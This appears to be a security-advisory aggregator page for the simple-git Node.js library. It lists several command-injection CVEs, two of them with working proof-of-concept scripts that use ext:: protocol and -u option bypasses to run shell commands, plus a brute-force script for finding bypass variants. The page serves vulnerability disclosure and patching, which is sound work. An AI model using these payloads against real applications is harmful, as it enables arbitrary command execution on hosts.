Where
-Infinity
0

Vendor Risk Score

See how simple-git project compares to other vendors in security performance

View Risk Score →
Severity
9.8
EPSS
0.14%
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.

---

Details

The preventProtocolOverride function in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24) checks whether a -c argument configures protocol.allow using this regex:

ts if (!/^\sprotocol(.[a-z]+)?.allow/.test(next)) { return; }

This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.

Verification that git normalises the key:

bash $ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow=always

The fix is a single character — add the /i flag:

ts // Before (vulnerable): if (!/^\sprotocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed): if (!/^\sprotocol(.[a-z]+)?.allow/i.test(next)) {

---

poc.js

js / Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check that blocks -c protocol..allow=always from being passed to git commands. The regex is case-sensitive. Git treats config key names case-insensitively. Passing -c PROTOCOL.ALLOW=always bypasses the check entirely. Affected : simple-git >= 3.15.0 (all versions with the fix applied) Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5 Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai) /

const simpleGit = require('simple-git'); const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch () {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ──────────────── // This is the exact PoC Snyk used to report CVE-2022-25912. // It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase — caught by regex ]).catch((e) => { console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); });

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ────────────────────────────── // The fix regex /^\sprotocol(.[a-z]+)?.allow/ is case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes the command. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex ]).catch((e) => { console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); });

// ── Real-world scenario ────────────────────────────────────────────────────── // An application cloning a legitimate repository with user-controlled customArgs. // Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL. // The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates // but the injected argument enables ext:: and the real URL executes the command instead. // // Legitimate usage (what the app expects): // simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates', // '/tmp/codeant-quality-gates', userArgs) // // Attacker-controlled scenario (what actually runs when args are not sanitised): const LEGITIMATEURL = 'https://github.com/CodeAnt-AI/codeant-quality-gates'; const CLONEDEST = '/tmp/codeant-quality-gates'; const SENTINELRW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINELRW); } catch () {}

const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINELRW + '% >&2';

simpleGit().clone( attackerURL, // should have been LEGITIMATEURL CLONEDEST, userArgs ).catch(() => { console.log('real-world scenario [target: ' + LEGITIMATEURL + ']:', fs.existsSync(SENTINELRW) ? 'PWNED — ' + SENTINELRW + ' created' : 'not created'); });

---

Test Results

Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)

Result: BLOCKED ✅

The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.

Output: ext:: executed:poc not created GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9) at .../simple-git/dist/cjs/index.js:1266:40 at Array.forEach (<anonymous>) at Object.action (.../simple-git/dist/cjs/index.js:1264:12) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36) at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) { task: { commands: [ 'clone', '-c', 'protocol.ext.allow=always', 'ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo' ], format: 'utf-8', parser: [Function: parser] }, plugin: 'unsafe' }

---

Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)

Result: BYPASSED ⚠️ — RCE confirmed

The preventProtocolOverride regex /^\sprotocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.

Output: ext:: executed: PWNED — /tmp/pwn-codeant created GitError: Cloning into '/tmp/example-new-repo-2'... fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.

at Object.action (.../simple-git/dist/cjs/index.js:1440:25) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) { task: { commands: [ 'clone', '-c', 'PROTOCOL.ALLOW=always', 'ext::sh -c touch% /tmp/pwn-codeant% >&2', '/tmp/example-new-repo-2' ], format: 'utf-8', parser: [Function: parser] } }

/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.

---

Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)

Result: BYPASSED ⚠️ — RCE confirmed

An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.

Output: real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created

/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.

---

Summary

| # | Vector | Payload | Sentinel file | Result | |---|--------|---------|---------------|--------| | 1 | CVE-2022-25912 original | protocol.ext.allow=always (lowercase) | not created | Blocked ✅ | | 2 | Case-sensitivity bypass | PROTOCOL.ALLOW=always (uppercase) | /tmp/pwn-codeant created | RCE ⚠️ | | 3 | Real-world app scenario | PROTOCOL.ALLOW=always + attacker URL | /tmp/pwn-realworld created | RCE ⚠️ |

The case-sensitive regex in preventProtocolOverride blocks protocol..allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

/tmp/pwned is created by the git subprocess via the ext:: protocol.

All of the following bypass the check:

| Argument passed via -c | Regex matches? | Git honours it? | |--------------------------|:--------------:|:---------------:| | protocol.allow=always | ✅ blocked | ✅ | | PROTOCOL.ALLOW=always | ❌ bypassed | ✅ | | Protocol.Allow=always | ❌ bypassed | ✅ | | PROTOCOL.allow=always | ❌ bypassed | ✅ | | protocol.ALLOW=always | ❌ bypassed | ✅ |

---

Impact

Any application that passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push() or similar simple-git methods is vulnerable to arbitrary command execution on the host machine.

The ext:: git protocol executes an arbitrary binary as a remote helper. With protocol.allow=always enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
OS Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

The package simple-git before 3.15.0 are vulnerable to Remote Code Execution (RCE) when enabling the ext transport protocol, which makes it exploitable via clone() method. This vulnerability exists due to an incomplete fix of CVE-2022-24066.

1 / 2
First published (updated )
Severity
9.8
Code Injection, OS Command Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Versions of the package simple-git before 3.16.0 are vulnerable to Remote Code Execution (RCE) via the clone(), pull(), push() and listRemote() methods, due to improper input sanitization. This vulnerability exists due to an incomplete fix of CVE-2022-25912.

1 / 3
Source: MITRE
First published (updated )
Severity
9.8
Command Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The package simple-git before 3.3.0 are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn) function, both the remote and branch parameters are passed to the git fetch subcommand. By injecting some git options it was possible to get arbitrary command execution.

First published (updated )
Severity
9.8
Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

simple-git (maintained as git-js named repository on GitHub) is a light weight interface for running git commands in any node.js application.The package simple-git before 3.5.0 are vulnerable to Command Injection due to an incomplete fix of CVE-2022-24433 which only patches against the git fetch attack vector. A similar use of the --upload-pack feature of git is also supported for git clone, which the prior fix didn't cover. A fix was released in simple-git@3.5.0.

1 / 2
First published (updated )
Severity
8.2
EPSS
0.11%
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P

Versions of the package simple-git before 3.36.0 are vulnerable to Remote Code Execution (RCE) due to an incomplete fix for CVE-2022-25912 that blocks the -c option but not the equivalent --config form. If untrusted input can reach the options argument passed to simple-git, an attacker may still achieve remote code execution by enabling protocol.ext.allow=always and using an ext:: clone source.

First published (updated )
Severity
8.1
OS Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is likely to affect all versions prior to and including 3.28.0.

Detail

This vulnerability was introduced by an incorrect patch for CVE-2022-25860.

It was reproduced in the following environment:

WSL Docker node: v22.19.0 git: git version 2.39.5 simple-git: 3.28.0

The issue was not reproduced on Windows 11.

The -u option, like --upload-pack, allows a command to be executed.

Currently, the -u and --upload-pack options are blocked in the file simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts.

ts function preventUploadPack(arg: string, method: string) { if (/^\s--(upload|receive)-pack/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack ); }

if (method === 'clone' && /^\s-u\b/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', Use of clone with option -u is not permitted without enabling allowUnsafePack ); }

if (method === 'push' && /^\s--exec\b/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', Use of push with option --exec is not permitted without enabling allowUnsafePack ); } }

However, the problem is that command option parsing is quite flexible.

By brute forcing, I found various options that bypass the -u check.

[ '--u', '--u', '-4u', '-6u', '-lu', '-nu', '-qu', '-su', '-vu' ]

All of the above are three-character options that allow command execution. They enable execution even when allowUnsafePack is explicitly set to false.

The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the -u option, there is also the --upload-pack option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.

Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.

Just in case, I’ll share the brute-force code I used to find options that enable command execution.

js const fs = require('fs'); const simpleGit = require('simple-git');

const TMPDIR = './pwned/'; const ITER = 256;

function cleanTmpDir() { if (fs.existsSync(TMPDIR)) { fs.rmSync(TMPDIR, { recursive: true, force: true }); } fs.mkdirSync(TMPDIR, { recursive: true }); }

function getPwnedFiles() { const found = []; for (let i = 0; i < ITER; i++) { const fname1 = ${TMPDIR}1${i}; const fname2 = ${TMPDIR}2${i}; const fname3 = ${TMPDIR}3${i}; if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u'); if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u'); if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i)); } return found; }

async function runTest(runIdx) { const git = simpleGit(); // 1. ${~}-u Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', sh -c \"touch ${TMPDIR}1${i}\"]); } catch {} } // 2. -${~}u Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', sh -c \"touch ${TMPDIR}2${i}\"]); } catch {} } // 3. -u${~} Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), sh -c \"touch ${TMPDIR}3${i}\"]); } catch {} } }

async function main() { cleanTmpDir(); await runTest();

const found = getPwnedFiles(); console.log(found); }

main();

PoC

The environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.

WSL Docker node: v22.19.0 git: git version 2.39.5 simple-git: 3.28.0

1.

Create any git repository inside the testrepo1 folder. A very simple repository with a single commit and a single file is fine.

2.

Run the following:

js const { simpleGit } = require('simple-git');

async function main() { const git = await simpleGit({ unsafe: { allowUnsafePack: false } }); await git.clone('./testrepo1', './testrepo2', [-vu sh -c \"touch /tmp/pwned\"]); }

main();

This PoC explicitly configures allowUnsafePack to false. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.

3.

Check /tmp to confirm that pwned has been created. If it failed, try replacing -vu with a different option from the list.

Impact

This vulnerability is likely to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203